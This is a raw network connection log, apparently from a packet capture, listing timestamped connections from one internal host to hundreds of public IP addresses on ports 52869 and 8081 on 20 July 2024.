Jul 20, 2024 23:10:36.893642902 CEST	52869	58771	120.23.97.41	192.168.2.15
Jul 20, 2024 23:10:36.893656015 CEST	52869	58771	217.149.106.243	192.168.2.15
Jul 20, 2024 23:10:36.894186020 CEST	58771	52869	192.168.2.15	167.18.139.194
Jul 20, 2024 23:10:36.894186020 CEST	58771	52869	192.168.2.15	66.214.33.60
Jul 20, 2024 23:10:36.894186020 CEST	58771	52869	192.168.2.15	213.94.234.50
Jul 20, 2024 23:10:36.894186020 CEST	58771	52869	192.168.2.15	173.35.30.145
Jul 20, 2024 23:10:36.894186020 CEST	58771	52869	192.168.2.15	166.175.32.105
Jul 20, 2024 23:10:36.894186020 CEST	58771	52869	192.168.2.15	98.127.197.109
Jul 20, 2024 23:10:36.894186020 CEST	58771	52869	192.168.2.15	41.170.242.143
Jul 20, 2024 23:10:36.894186020 CEST	58771	52869	192.168.2.15	207.103.75.38
Jul 20, 2024 23:10:36.894217968 CEST	58771	52869	192.168.2.15	46.29.199.172
Jul 20, 2024 23:10:36.894217968 CEST	58771	52869	192.168.2.15	32.96.230.35
Jul 20, 2024 23:10:36.894217968 CEST	58771	52869	192.168.2.15	19.36.203.102
Jul 20, 2024 23:10:36.894217968 CEST	58771	52869	192.168.2.15	187.65.46.56
Jul 20, 2024 23:10:36.894217968 CEST	58771	52869	192.168.2.15	221.122.176.63
Jul 20, 2024 23:10:36.894217968 CEST	58771	52869	192.168.2.15	157.155.237.53
Jul 20, 2024 23:10:36.894217968 CEST	58771	52869	192.168.2.15	194.93.32.92
Jul 20, 2024 23:10:36.894217968 CEST	58771	52869	192.168.2.15	216.72.91.26
Jul 20, 2024 23:10:36.894280910 CEST	58771	52869	192.168.2.15	32.246.234.49
Jul 20, 2024 23:10:36.894280910 CEST	58771	52869	192.168.2.15	34.125.193.200
Jul 20, 2024 23:10:36.894280910 CEST	58771	52869	192.168.2.15	69.254.1.48
Jul 20, 2024 23:10:36.894280910 CEST	58771	52869	192.168.2.15	167.45.17.186
Jul 20, 2024 23:10:36.894280910 CEST	58771	52869	192.168.2.15	161.144.220.177
Jul 20, 2024 23:10:36.894280910 CEST	58771	52869	192.168.2.15	170.170.192.156
Jul 20, 2024 23:10:36.894280910 CEST	58771	52869	192.168.2.15	137.117.188.125
Jul 20, 2024 23:10:36.894280910 CEST	58771	52869	192.168.2.15	108.158.118.138
Jul 20, 2024 23:10:36.894751072 CEST	58771	52869	192.168.2.15	73.129.169.112
Jul 20, 2024 23:10:36.894751072 CEST	58771	52869	192.168.2.15	69.177.157.27
Jul 20, 2024 23:10:36.894751072 CEST	58771	52869	192.168.2.15	174.206.80.43
Jul 20, 2024 23:10:36.894751072 CEST	58771	52869	192.168.2.15	182.10.238.127
Jul 20, 2024 23:10:36.894921064 CEST	58771	52869	192.168.2.15	91.234.176.82
Jul 20, 2024 23:10:36.894921064 CEST	58771	52869	192.168.2.15	149.112.97.85
Jul 20, 2024 23:10:36.894921064 CEST	58771	52869	192.168.2.15	164.240.158.148
Jul 20, 2024 23:10:36.894921064 CEST	58771	52869	192.168.2.15	181.93.177.170
Jul 20, 2024 23:10:36.894921064 CEST	58771	52869	192.168.2.15	174.131.88.229
Jul 20, 2024 23:10:36.894921064 CEST	58771	52869	192.168.2.15	96.185.178.163
Jul 20, 2024 23:10:36.894921064 CEST	58771	52869	192.168.2.15	110.4.158.202
Jul 20, 2024 23:10:36.894921064 CEST	58771	52869	192.168.2.15	131.226.118.182
Jul 20, 2024 23:10:36.894982100 CEST	58771	52869	192.168.2.15	196.216.249.247
Jul 20, 2024 23:10:36.894982100 CEST	58771	52869	192.168.2.15	66.9.166.48
Jul 20, 2024 23:10:36.894982100 CEST	58771	52869	192.168.2.15	60.74.91.179
Jul 20, 2024 23:10:36.894982100 CEST	58771	52869	192.168.2.15	139.224.224.65
Jul 20, 2024 23:10:36.894982100 CEST	58771	52869	192.168.2.15	216.0.101.197
Jul 20, 2024 23:10:36.894982100 CEST	58771	52869	192.168.2.15	138.209.221.234
Jul 20, 2024 23:10:36.894982100 CEST	58771	52869	192.168.2.15	181.235.148.127
Jul 20, 2024 23:10:36.894982100 CEST	58771	52869	192.168.2.15	19.232.15.13
Jul 20, 2024 23:10:36.895416021 CEST	58771	52869	192.168.2.15	207.4.192.11
Jul 20, 2024 23:10:36.895416021 CEST	58771	52869	192.168.2.15	116.129.251.191
Jul 20, 2024 23:10:36.895416021 CEST	58771	52869	192.168.2.15	92.204.91.160
Jul 20, 2024 23:10:36.895416021 CEST	58771	52869	192.168.2.15	123.163.6.80
Jul 20, 2024 23:10:36.895416021 CEST	58771	52869	192.168.2.15	139.17.5.197
Jul 20, 2024 23:10:36.895416021 CEST	58771	52869	192.168.2.15	88.181.217.81
Jul 20, 2024 23:10:36.895416021 CEST	58771	52869	192.168.2.15	53.70.46.99
Jul 20, 2024 23:10:36.895416021 CEST	58771	52869	192.168.2.15	72.242.155.8
Jul 20, 2024 23:10:36.895443916 CEST	58771	52869	192.168.2.15	150.88.132.167
Jul 20, 2024 23:10:36.895443916 CEST	58771	52869	192.168.2.15	78.56.177.55
Jul 20, 2024 23:10:36.895443916 CEST	58771	52869	192.168.2.15	124.48.234.132
Jul 20, 2024 23:10:36.895443916 CEST	58771	52869	192.168.2.15	170.25.182.117
Jul 20, 2024 23:10:36.895443916 CEST	58771	52869	192.168.2.15	142.3.150.194
Jul 20, 2024 23:10:36.895443916 CEST	58771	52869	192.168.2.15	148.39.228.238
Jul 20, 2024 23:10:36.895443916 CEST	58771	52869	192.168.2.15	217.168.82.95
Jul 20, 2024 23:10:36.895443916 CEST	58771	52869	192.168.2.15	60.168.140.86
Jul 20, 2024 23:10:36.895530939 CEST	58768	8081	192.168.2.15	101.137.132.47
Jul 20, 2024 23:10:36.895637989 CEST	58768	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:36.895643950 CEST	58768	8081	192.168.2.15	140.139.225.140
Jul 20, 2024 23:10:36.895643950 CEST	58768	8081	192.168.2.15	147.132.243.41
Jul 20, 2024 23:10:36.895654917 CEST	58768	8081	192.168.2.15	64.52.71.132
Jul 20, 2024 23:10:36.895699978 CEST	58768	8081	192.168.2.15	32.161.26.237
Jul 20, 2024 23:10:36.895699978 CEST	58768	8081	192.168.2.15	39.240.154.144
Jul 20, 2024 23:10:36.895724058 CEST	58768	8081	192.168.2.15	201.218.238.1
Jul 20, 2024 23:10:36.895725012 CEST	58768	8081	192.168.2.15	149.156.0.71
Jul 20, 2024 23:10:36.895759106 CEST	58768	8081	192.168.2.15	195.62.101.45
Jul 20, 2024 23:10:36.895759106 CEST	58768	8081	192.168.2.15	118.166.213.249
Jul 20, 2024 23:10:36.895955086 CEST	58768	8081	192.168.2.15	51.24.196.130
Jul 20, 2024 23:10:36.895955086 CEST	58768	8081	192.168.2.15	70.244.198.153
Jul 20, 2024 23:10:36.895955086 CEST	58768	8081	192.168.2.15	117.195.60.70
Jul 20, 2024 23:10:36.895976067 CEST	58768	8081	192.168.2.15	100.144.235.237
Jul 20, 2024 23:10:36.895976067 CEST	58768	8081	192.168.2.15	73.161.3.148
Jul 20, 2024 23:10:36.896101952 CEST	58768	8081	192.168.2.15	98.6.153.169
Jul 20, 2024 23:10:36.896101952 CEST	58768	8081	192.168.2.15	41.237.164.109
Jul 20, 2024 23:10:36.896101952 CEST	58768	8081	192.168.2.15	177.243.162.95
Jul 20, 2024 23:10:36.896101952 CEST	58768	8081	192.168.2.15	104.81.53.73
Jul 20, 2024 23:10:36.896101952 CEST	58768	8081	192.168.2.15	197.24.195.37
Jul 20, 2024 23:10:36.896101952 CEST	58768	8081	192.168.2.15	218.197.253.52
Jul 20, 2024 23:10:36.896101952 CEST	58768	8081	192.168.2.15	100.220.84.138
Jul 20, 2024 23:10:36.896102905 CEST	58768	8081	192.168.2.15	220.172.168.137
Jul 20, 2024 23:10:36.896279097 CEST	58768	8081	192.168.2.15	177.201.145.33
Jul 20, 2024 23:10:36.896464109 CEST	58768	8081	192.168.2.15	37.108.224.54
Jul 20, 2024 23:10:36.896593094 CEST	58768	8081	192.168.2.15	126.247.185.111
Jul 20, 2024 23:10:36.896593094 CEST	58768	8081	192.168.2.15	122.95.43.153
Jul 20, 2024 23:10:36.896593094 CEST	58768	8081	192.168.2.15	57.7.150.109
Jul 20, 2024 23:10:36.896593094 CEST	58768	8081	192.168.2.15	170.239.24.67
Jul 20, 2024 23:10:36.896593094 CEST	58768	8081	192.168.2.15	18.172.107.182
Jul 20, 2024 23:10:36.896593094 CEST	58768	8081	192.168.2.15	23.165.201.101
Jul 20, 2024 23:10:36.896594048 CEST	58768	8081	192.168.2.15	144.250.77.69
Jul 20, 2024 23:10:36.896594048 CEST	58768	8081	192.168.2.15	104.127.16.83
Jul 20, 2024 23:10:36.896925926 CEST	58768	8081	192.168.2.15	72.232.56.222
Jul 20, 2024 23:10:36.896925926 CEST	58768	8081	192.168.2.15	50.145.203.85
Jul 20, 2024 23:10:36.896925926 CEST	58768	8081	192.168.2.15	99.223.164.124
Jul 20, 2024 23:10:36.896925926 CEST	58768	8081	192.168.2.15	114.162.118.100
Jul 20, 2024 23:10:36.896925926 CEST	58768	8081	192.168.2.15	66.46.202.106
Jul 20, 2024 23:10:36.896925926 CEST	58768	8081	192.168.2.15	139.207.225.210
Jul 20, 2024 23:10:36.897006989 CEST	58768	8081	192.168.2.15	112.36.161.183
Jul 20, 2024 23:10:36.897006989 CEST	58768	8081	192.168.2.15	105.84.133.237
Jul 20, 2024 23:10:36.897006989 CEST	58768	8081	192.168.2.15	191.229.1.158
Jul 20, 2024 23:10:36.897006989 CEST	58768	8081	192.168.2.15	206.153.77.196
Jul 20, 2024 23:10:36.897006989 CEST	58768	8081	192.168.2.15	107.127.227.178
Jul 20, 2024 23:10:36.897006989 CEST	58768	8081	192.168.2.15	162.48.242.129
Jul 20, 2024 23:10:36.897006989 CEST	58768	8081	192.168.2.15	59.46.78.137
Jul 20, 2024 23:10:36.897006989 CEST	58768	8081	192.168.2.15	131.100.82.185
Jul 20, 2024 23:10:36.897737980 CEST	58768	8081	192.168.2.15	130.64.237.83
Jul 20, 2024 23:10:36.897737980 CEST	58768	8081	192.168.2.15	139.20.180.119
Jul 20, 2024 23:10:36.897737980 CEST	58768	8081	192.168.2.15	98.32.247.128
Jul 20, 2024 23:10:36.897737980 CEST	58768	8081	192.168.2.15	79.84.60.251
Jul 20, 2024 23:10:36.897737980 CEST	58768	8081	192.168.2.15	59.64.211.16
Jul 20, 2024 23:10:36.897737980 CEST	58768	8081	192.168.2.15	193.73.82.86
Jul 20, 2024 23:10:36.897737980 CEST	58768	8081	192.168.2.15	42.75.70.65
Jul 20, 2024 23:10:36.897737980 CEST	58768	8081	192.168.2.15	191.77.173.179
Jul 20, 2024 23:10:36.898061037 CEST	58768	8081	192.168.2.15	97.242.235.89
Jul 20, 2024 23:10:36.898061991 CEST	58768	8081	192.168.2.15	9.112.0.108
Jul 20, 2024 23:10:36.898061991 CEST	58768	8081	192.168.2.15	213.200.213.234
Jul 20, 2024 23:10:36.898061991 CEST	58768	8081	192.168.2.15	93.134.175.245
Jul 20, 2024 23:10:36.898061991 CEST	58768	8081	192.168.2.15	101.27.114.183
Jul 20, 2024 23:10:36.898061991 CEST	58768	8081	192.168.2.15	196.239.70.8
Jul 20, 2024 23:10:36.898061991 CEST	58768	8081	192.168.2.15	65.144.4.91
Jul 20, 2024 23:10:36.898061991 CEST	58768	8081	192.168.2.15	116.99.52.164
Jul 20, 2024 23:10:36.898155928 CEST	58768	8081	192.168.2.15	54.87.78.53
Jul 20, 2024 23:10:36.898540974 CEST	58771	52869	192.168.2.15	93.170.144.216
Jul 20, 2024 23:10:36.898540974 CEST	58771	52869	192.168.2.15	142.16.122.21
Jul 20, 2024 23:10:36.898540974 CEST	58771	52869	192.168.2.15	157.23.176.72
Jul 20, 2024 23:10:36.898540974 CEST	58771	52869	192.168.2.15	77.47.99.211
Jul 20, 2024 23:10:36.898540974 CEST	58771	52869	192.168.2.15	41.113.149.169
Jul 20, 2024 23:10:36.898540974 CEST	58771	52869	192.168.2.15	200.129.46.238
Jul 20, 2024 23:10:36.898540974 CEST	58771	52869	192.168.2.15	132.163.44.118
Jul 20, 2024 23:10:36.898540974 CEST	58771	52869	192.168.2.15	27.244.201.90
Jul 20, 2024 23:10:36.898585081 CEST	58768	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:36.898585081 CEST	58768	8081	192.168.2.15	24.230.85.184
Jul 20, 2024 23:10:36.898585081 CEST	58768	8081	192.168.2.15	59.207.243.209
Jul 20, 2024 23:10:36.898585081 CEST	58768	8081	192.168.2.15	63.16.209.243
Jul 20, 2024 23:10:36.898585081 CEST	58768	8081	192.168.2.15	19.32.100.158
Jul 20, 2024 23:10:36.898585081 CEST	58768	8081	192.168.2.15	95.238.91.109
Jul 20, 2024 23:10:36.898585081 CEST	58768	8081	192.168.2.15	62.94.176.238
Jul 20, 2024 23:10:36.898585081 CEST	58768	8081	192.168.2.15	76.174.89.37
Jul 20, 2024 23:10:36.898643017 CEST	58768	8081	192.168.2.15	124.113.55.225
Jul 20, 2024 23:10:36.898643017 CEST	58768	8081	192.168.2.15	193.51.219.44
Jul 20, 2024 23:10:36.898643017 CEST	58768	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:36.898859978 CEST	58768	8081	192.168.2.15	158.32.146.168
Jul 20, 2024 23:10:36.898859978 CEST	58768	8081	192.168.2.15	60.13.47.181
Jul 20, 2024 23:10:36.898860931 CEST	58768	8081	192.168.2.15	53.134.227.78
Jul 20, 2024 23:10:36.898860931 CEST	58768	8081	192.168.2.15	103.141.108.85
Jul 20, 2024 23:10:36.898860931 CEST	58768	8081	192.168.2.15	120.75.38.85
Jul 20, 2024 23:10:36.898860931 CEST	58768	8081	192.168.2.15	73.57.192.131
Jul 20, 2024 23:10:36.898860931 CEST	58768	8081	192.168.2.15	89.94.228.2
Jul 20, 2024 23:10:36.898860931 CEST	58768	8081	192.168.2.15	156.118.202.241
Jul 20, 2024 23:10:36.898989916 CEST	58771	52869	192.168.2.15	199.35.247.193
Jul 20, 2024 23:10:36.898989916 CEST	58771	52869	192.168.2.15	66.186.192.147
Jul 20, 2024 23:10:36.898989916 CEST	58771	52869	192.168.2.15	51.19.18.147
Jul 20, 2024 23:10:36.898989916 CEST	58768	8081	192.168.2.15	109.43.3.47
Jul 20, 2024 23:10:36.898989916 CEST	58768	8081	192.168.2.15	96.174.40.204
Jul 20, 2024 23:10:36.898989916 CEST	58768	8081	192.168.2.15	128.22.65.203
Jul 20, 2024 23:10:36.898989916 CEST	58768	8081	192.168.2.15	118.85.135.168
Jul 20, 2024 23:10:36.898989916 CEST	58768	8081	192.168.2.15	143.93.205.194
Jul 20, 2024 23:10:36.899035931 CEST	58768	8081	192.168.2.15	151.208.135.249
Jul 20, 2024 23:10:36.899035931 CEST	58768	8081	192.168.2.15	129.96.11.55
Jul 20, 2024 23:10:36.899035931 CEST	58768	8081	192.168.2.15	38.56.107.193
Jul 20, 2024 23:10:36.899035931 CEST	58768	8081	192.168.2.15	218.163.113.131
Jul 20, 2024 23:10:36.899035931 CEST	58768	8081	192.168.2.15	136.254.84.193
Jul 20, 2024 23:10:36.899035931 CEST	58768	8081	192.168.2.15	211.111.42.56
Jul 20, 2024 23:10:36.899035931 CEST	58768	8081	192.168.2.15	103.43.41.37
Jul 20, 2024 23:10:36.899035931 CEST	58768	8081	192.168.2.15	40.80.153.52
Jul 20, 2024 23:10:36.899543047 CEST	58768	8081	192.168.2.15	188.77.70.4
Jul 20, 2024 23:10:36.899543047 CEST	58768	8081	192.168.2.15	209.233.239.62
Jul 20, 2024 23:10:36.899543047 CEST	58768	8081	192.168.2.15	220.76.9.69
Jul 20, 2024 23:10:36.899543047 CEST	58768	8081	192.168.2.15	140.197.167.36
Jul 20, 2024 23:10:36.899543047 CEST	58768	8081	192.168.2.15	39.109.155.171
Jul 20, 2024 23:10:36.899543047 CEST	58768	8081	192.168.2.15	98.210.157.20
Jul 20, 2024 23:10:36.899543047 CEST	58768	8081	192.168.2.15	206.8.55.164
Jul 20, 2024 23:10:36.899543047 CEST	58768	8081	192.168.2.15	9.175.217.225
Jul 20, 2024 23:10:36.900301933 CEST	58768	8081	192.168.2.15	9.154.150.75
Jul 20, 2024 23:10:36.900301933 CEST	58768	8081	192.168.2.15	109.254.234.165
Jul 20, 2024 23:10:36.900434971 CEST	8081	58768	101.137.132.47	192.168.2.15
Jul 20, 2024 23:10:36.900476933 CEST	58768	8081	192.168.2.15	101.137.132.47
Jul 20, 2024 23:10:36.900537968 CEST	8081	58768	140.139.225.140	192.168.2.15
Jul 20, 2024 23:10:36.900674105 CEST	8081	58768	201.218.238.1	192.168.2.15
Jul 20, 2024 23:10:36.900686026 CEST	8081	58768	195.62.101.45	192.168.2.15
Jul 20, 2024 23:10:36.900698900 CEST	8081	58768	32.161.26.237	192.168.2.15
Jul 20, 2024 23:10:36.900707006 CEST	58768	8081	192.168.2.15	201.218.238.1
Jul 20, 2024 23:10:36.900741100 CEST	58768	8081	192.168.2.15	195.62.101.45
Jul 20, 2024 23:10:36.900861979 CEST	58768	8081	192.168.2.15	140.139.225.140
Jul 20, 2024 23:10:36.900998116 CEST	8081	58768	118.166.213.249	192.168.2.15
Jul 20, 2024 23:10:36.901010036 CEST	8081	58768	149.156.0.71	192.168.2.15
Jul 20, 2024 23:10:36.901022911 CEST	8081	58768	51.24.196.130	192.168.2.15
Jul 20, 2024 23:10:36.901032925 CEST	58768	8081	192.168.2.15	149.156.0.71
Jul 20, 2024 23:10:36.901041985 CEST	58768	8081	192.168.2.15	118.166.213.249
Jul 20, 2024 23:10:36.901045084 CEST	8081	58768	100.144.235.237	192.168.2.15
Jul 20, 2024 23:10:36.901057005 CEST	8081	58768	147.132.243.41	192.168.2.15
Jul 20, 2024 23:10:36.901068926 CEST	8081	58768	70.244.198.153	192.168.2.15
Jul 20, 2024 23:10:36.901081085 CEST	8081	58768	98.6.153.169	192.168.2.15
Jul 20, 2024 23:10:36.901086092 CEST	58768	8081	192.168.2.15	100.144.235.237
Jul 20, 2024 23:10:36.901093006 CEST	8081	58768	117.195.60.70	192.168.2.15
Jul 20, 2024 23:10:36.901114941 CEST	8081	58768	41.237.164.109	192.168.2.15
Jul 20, 2024 23:10:36.901128054 CEST	8081	58768	177.243.162.95	192.168.2.15
Jul 20, 2024 23:10:36.901201963 CEST	58768	8081	192.168.2.15	51.24.196.130
Jul 20, 2024 23:10:36.901201963 CEST	58768	8081	192.168.2.15	70.244.198.153
Jul 20, 2024 23:10:36.901201963 CEST	58768	8081	192.168.2.15	117.195.60.70
Jul 20, 2024 23:10:36.901330948 CEST	58768	8081	192.168.2.15	147.132.243.41
Jul 20, 2024 23:10:36.901330948 CEST	58768	8081	192.168.2.15	98.6.153.169
Jul 20, 2024 23:10:36.901330948 CEST	58768	8081	192.168.2.15	41.237.164.109
Jul 20, 2024 23:10:36.901330948 CEST	58768	8081	192.168.2.15	177.243.162.95
Jul 20, 2024 23:10:36.901376963 CEST	8081	58768	177.201.145.33	192.168.2.15
Jul 20, 2024 23:10:36.901405096 CEST	8081	58768	104.81.53.73	192.168.2.15
Jul 20, 2024 23:10:36.901417017 CEST	8081	58768	73.161.3.148	192.168.2.15
Jul 20, 2024 23:10:36.901431084 CEST	8081	58768	197.24.195.37	192.168.2.15
Jul 20, 2024 23:10:36.901457071 CEST	58768	8081	192.168.2.15	73.161.3.148
Jul 20, 2024 23:10:36.901515007 CEST	8081	58768	126.247.185.111	192.168.2.15
Jul 20, 2024 23:10:36.901527882 CEST	8081	58768	218.197.253.52	192.168.2.15
Jul 20, 2024 23:10:36.901608944 CEST	8081	58768	37.108.224.54	192.168.2.15
Jul 20, 2024 23:10:36.901622057 CEST	8081	58768	100.220.84.138	192.168.2.15
Jul 20, 2024 23:10:36.901740074 CEST	8081	58768	122.95.43.153	192.168.2.15
Jul 20, 2024 23:10:36.901752949 CEST	8081	58768	220.172.168.137	192.168.2.15
Jul 20, 2024 23:10:36.901761055 CEST	58768	8081	192.168.2.15	177.201.145.33
Jul 20, 2024 23:10:36.901761055 CEST	58768	8081	192.168.2.15	37.108.224.54
Jul 20, 2024 23:10:36.901767969 CEST	8081	58768	72.232.56.222	192.168.2.15
Jul 20, 2024 23:10:36.901825905 CEST	8081	58768	112.36.161.183	192.168.2.15
Jul 20, 2024 23:10:36.901890993 CEST	58768	8081	192.168.2.15	13.15.212.143
Jul 20, 2024 23:10:36.901890993 CEST	58768	8081	192.168.2.15	158.147.222.64
Jul 20, 2024 23:10:36.901890993 CEST	58768	8081	192.168.2.15	88.123.57.1
Jul 20, 2024 23:10:36.901890993 CEST	58768	8081	192.168.2.15	125.94.214.213
Jul 20, 2024 23:10:36.901890993 CEST	58768	8081	192.168.2.15	182.138.162.230
Jul 20, 2024 23:10:36.901890993 CEST	58768	8081	192.168.2.15	151.248.207.192
Jul 20, 2024 23:10:36.901890993 CEST	58768	8081	192.168.2.15	102.109.43.7
Jul 20, 2024 23:10:36.901890993 CEST	58768	8081	192.168.2.15	217.134.215.166
Jul 20, 2024 23:10:36.901921034 CEST	8081	58768	105.84.133.237	192.168.2.15
Jul 20, 2024 23:10:36.901984930 CEST	58768	8081	192.168.2.15	126.247.185.111
Jul 20, 2024 23:10:36.901984930 CEST	58768	8081	192.168.2.15	122.95.43.153
Jul 20, 2024 23:10:36.902005911 CEST	8081	58768	50.145.203.85	192.168.2.15
Jul 20, 2024 23:10:36.902169943 CEST	8081	58768	57.7.150.109	192.168.2.15
Jul 20, 2024 23:10:36.902183056 CEST	8081	58768	191.229.1.158	192.168.2.15
Jul 20, 2024 23:10:36.902198076 CEST	58768	8081	192.168.2.15	73.50.217.173
Jul 20, 2024 23:10:36.902198076 CEST	58768	8081	192.168.2.15	132.49.133.83
Jul 20, 2024 23:10:36.902198076 CEST	58768	8081	192.168.2.15	47.109.125.162
Jul 20, 2024 23:10:36.902198076 CEST	58768	8081	192.168.2.15	133.51.42.64
Jul 20, 2024 23:10:36.902198076 CEST	58768	8081	192.168.2.15	52.121.158.13
Jul 20, 2024 23:10:36.902198076 CEST	58768	8081	192.168.2.15	220.85.17.7
Jul 20, 2024 23:10:36.902198076 CEST	58768	8081	192.168.2.15	1.192.176.226
Jul 20, 2024 23:10:36.902262926 CEST	8081	58768	170.239.24.67	192.168.2.15
Jul 20, 2024 23:10:36.902276039 CEST	8081	58768	206.153.77.196	192.168.2.15
Jul 20, 2024 23:10:36.902290106 CEST	8081	58768	18.172.107.182	192.168.2.15
Jul 20, 2024 23:10:36.902311087 CEST	8081	58768	107.127.227.178	192.168.2.15
Jul 20, 2024 23:10:36.902390003 CEST	8081	58768	23.165.201.101	192.168.2.15
Jul 20, 2024 23:10:36.902406931 CEST	58768	8081	192.168.2.15	57.7.150.109
Jul 20, 2024 23:10:36.902406931 CEST	58768	8081	192.168.2.15	170.239.24.67
Jul 20, 2024 23:10:36.902406931 CEST	58768	8081	192.168.2.15	18.172.107.182
Jul 20, 2024 23:10:36.902471066 CEST	8081	58768	39.240.154.144	192.168.2.15
Jul 20, 2024 23:10:36.902489901 CEST	8081	58768	99.223.164.124	192.168.2.15
Jul 20, 2024 23:10:36.902492046 CEST	58768	8081	192.168.2.15	32.161.26.237
Jul 20, 2024 23:10:36.902550936 CEST	58768	8081	192.168.2.15	104.81.53.73
Jul 20, 2024 23:10:36.902550936 CEST	58768	8081	192.168.2.15	197.24.195.37
Jul 20, 2024 23:10:36.902550936 CEST	58768	8081	192.168.2.15	218.197.253.52
Jul 20, 2024 23:10:36.902550936 CEST	58768	8081	192.168.2.15	100.220.84.138
Jul 20, 2024 23:10:36.902550936 CEST	58768	8081	192.168.2.15	220.172.168.137
Jul 20, 2024 23:10:36.902550936 CEST	58768	8081	192.168.2.15	112.36.161.183
Jul 20, 2024 23:10:36.902550936 CEST	58768	8081	192.168.2.15	105.84.133.237
Jul 20, 2024 23:10:36.902550936 CEST	58768	8081	192.168.2.15	191.229.1.158
Jul 20, 2024 23:10:36.902560949 CEST	8081	58768	162.48.242.129	192.168.2.15
Jul 20, 2024 23:10:36.902611971 CEST	8081	58768	114.162.118.100	192.168.2.15
Jul 20, 2024 23:10:36.902664900 CEST	58768	8081	192.168.2.15	39.240.154.144
Jul 20, 2024 23:10:36.902714968 CEST	8081	58768	59.46.78.137	192.168.2.15
Jul 20, 2024 23:10:36.902745008 CEST	8081	58768	66.46.202.106	192.168.2.15
Jul 20, 2024 23:10:36.902756929 CEST	8081	58768	131.100.82.185	192.168.2.15
Jul 20, 2024 23:10:36.902760029 CEST	58768	8081	192.168.2.15	23.165.201.101
Jul 20, 2024 23:10:36.902925968 CEST	58768	8081	192.168.2.15	72.232.56.222
Jul 20, 2024 23:10:36.902926922 CEST	8081	58768	139.207.225.210	192.168.2.15
Jul 20, 2024 23:10:36.902925968 CEST	58768	8081	192.168.2.15	50.145.203.85
Jul 20, 2024 23:10:36.902925968 CEST	58768	8081	192.168.2.15	99.223.164.124
Jul 20, 2024 23:10:36.902926922 CEST	58768	8081	192.168.2.15	114.162.118.100
Jul 20, 2024 23:10:36.902926922 CEST	58768	8081	192.168.2.15	66.46.202.106
Jul 20, 2024 23:10:36.903027058 CEST	58771	52869	192.168.2.15	104.19.118.205
Jul 20, 2024 23:10:36.903027058 CEST	58771	52869	192.168.2.15	138.166.76.37
Jul 20, 2024 23:10:36.903027058 CEST	58771	52869	192.168.2.15	97.54.168.37
Jul 20, 2024 23:10:36.903027058 CEST	58771	52869	192.168.2.15	148.128.195.30
Jul 20, 2024 23:10:36.903027058 CEST	58771	52869	192.168.2.15	177.69.12.129
Jul 20, 2024 23:10:36.903027058 CEST	58771	52869	192.168.2.15	136.110.52.95
Jul 20, 2024 23:10:36.903027058 CEST	58771	52869	192.168.2.15	199.112.143.88
Jul 20, 2024 23:10:36.903027058 CEST	58771	52869	192.168.2.15	9.113.104.127
Jul 20, 2024 23:10:36.903039932 CEST	8081	58768	97.242.235.89	192.168.2.15
Jul 20, 2024 23:10:36.903053045 CEST	8081	58768	54.87.78.53	192.168.2.15
Jul 20, 2024 23:10:36.903244972 CEST	8081	58768	9.112.0.108	192.168.2.15
Jul 20, 2024 23:10:36.903256893 CEST	8081	58768	144.250.77.69	192.168.2.15
Jul 20, 2024 23:10:36.903269053 CEST	8081	58768	213.200.213.234	192.168.2.15
Jul 20, 2024 23:10:36.903291941 CEST	58768	8081	192.168.2.15	144.250.77.69
Jul 20, 2024 23:10:36.903456926 CEST	8081	58768	130.64.237.83	192.168.2.15
Jul 20, 2024 23:10:36.903500080 CEST	58768	8081	192.168.2.15	130.64.237.83
Jul 20, 2024 23:10:36.903501987 CEST	8081	58768	64.52.71.132	192.168.2.15
Jul 20, 2024 23:10:36.903515100 CEST	8081	58768	139.20.180.119	192.168.2.15
Jul 20, 2024 23:10:36.903537989 CEST	8081	58768	212.35.10.142	192.168.2.15
Jul 20, 2024 23:10:36.903583050 CEST	8081	58768	98.32.247.128	192.168.2.15
Jul 20, 2024 23:10:36.903597116 CEST	8081	58768	79.84.60.251	192.168.2.15
Jul 20, 2024 23:10:36.903608084 CEST	8081	58768	124.113.55.225	192.168.2.15
Jul 20, 2024 23:10:36.903620005 CEST	8081	58768	104.127.16.83	192.168.2.15
Jul 20, 2024 23:10:36.903655052 CEST	58768	8081	192.168.2.15	104.127.16.83
Jul 20, 2024 23:10:36.903727055 CEST	58768	8081	192.168.2.15	206.153.77.196
Jul 20, 2024 23:10:36.903727055 CEST	58768	8081	192.168.2.15	107.127.227.178
Jul 20, 2024 23:10:36.903727055 CEST	58768	8081	192.168.2.15	162.48.242.129
Jul 20, 2024 23:10:36.903727055 CEST	58768	8081	192.168.2.15	59.46.78.137
Jul 20, 2024 23:10:36.903727055 CEST	58768	8081	192.168.2.15	131.100.82.185
Jul 20, 2024 23:10:36.903727055 CEST	58768	8081	192.168.2.15	97.242.235.89
Jul 20, 2024 23:10:36.903727055 CEST	58768	8081	192.168.2.15	9.112.0.108
Jul 20, 2024 23:10:36.903727055 CEST	58768	8081	192.168.2.15	213.200.213.234
Jul 20, 2024 23:10:36.903740883 CEST	8081	58768	193.51.219.44	192.168.2.15
Jul 20, 2024 23:10:36.903753996 CEST	8081	58768	95.67.212.64	192.168.2.15
Jul 20, 2024 23:10:36.903933048 CEST	8081	58768	31.8.205.246	192.168.2.15
Jul 20, 2024 23:10:36.904032946 CEST	8081	58768	93.134.175.245	192.168.2.15
Jul 20, 2024 23:10:36.904046059 CEST	8081	58768	59.64.211.16	192.168.2.15
Jul 20, 2024 23:10:36.904068947 CEST	58768	8081	192.168.2.15	139.207.225.210
Jul 20, 2024 23:10:36.904068947 CEST	58768	8081	192.168.2.15	54.87.78.53
Jul 20, 2024 23:10:36.904076099 CEST	8081	58768	158.32.146.168	192.168.2.15
Jul 20, 2024 23:10:36.904114008 CEST	58768	8081	192.168.2.15	158.32.146.168
Jul 20, 2024 23:10:36.904182911 CEST	8081	58768	151.208.135.249	192.168.2.15
Jul 20, 2024 23:10:36.904196978 CEST	8081	58768	193.73.82.86	192.168.2.15
Jul 20, 2024 23:10:36.904208899 CEST	8081	58768	42.75.70.65	192.168.2.15
Jul 20, 2024 23:10:36.904284000 CEST	8081	58768	60.13.47.181	192.168.2.15
Jul 20, 2024 23:10:36.904297113 CEST	8081	58768	101.27.114.183	192.168.2.15
Jul 20, 2024 23:10:36.904308081 CEST	8081	58768	191.77.173.179	192.168.2.15
Jul 20, 2024 23:10:36.904316902 CEST	58768	8081	192.168.2.15	60.13.47.181
Jul 20, 2024 23:10:36.904323101 CEST	8081	58768	129.96.11.55	192.168.2.15
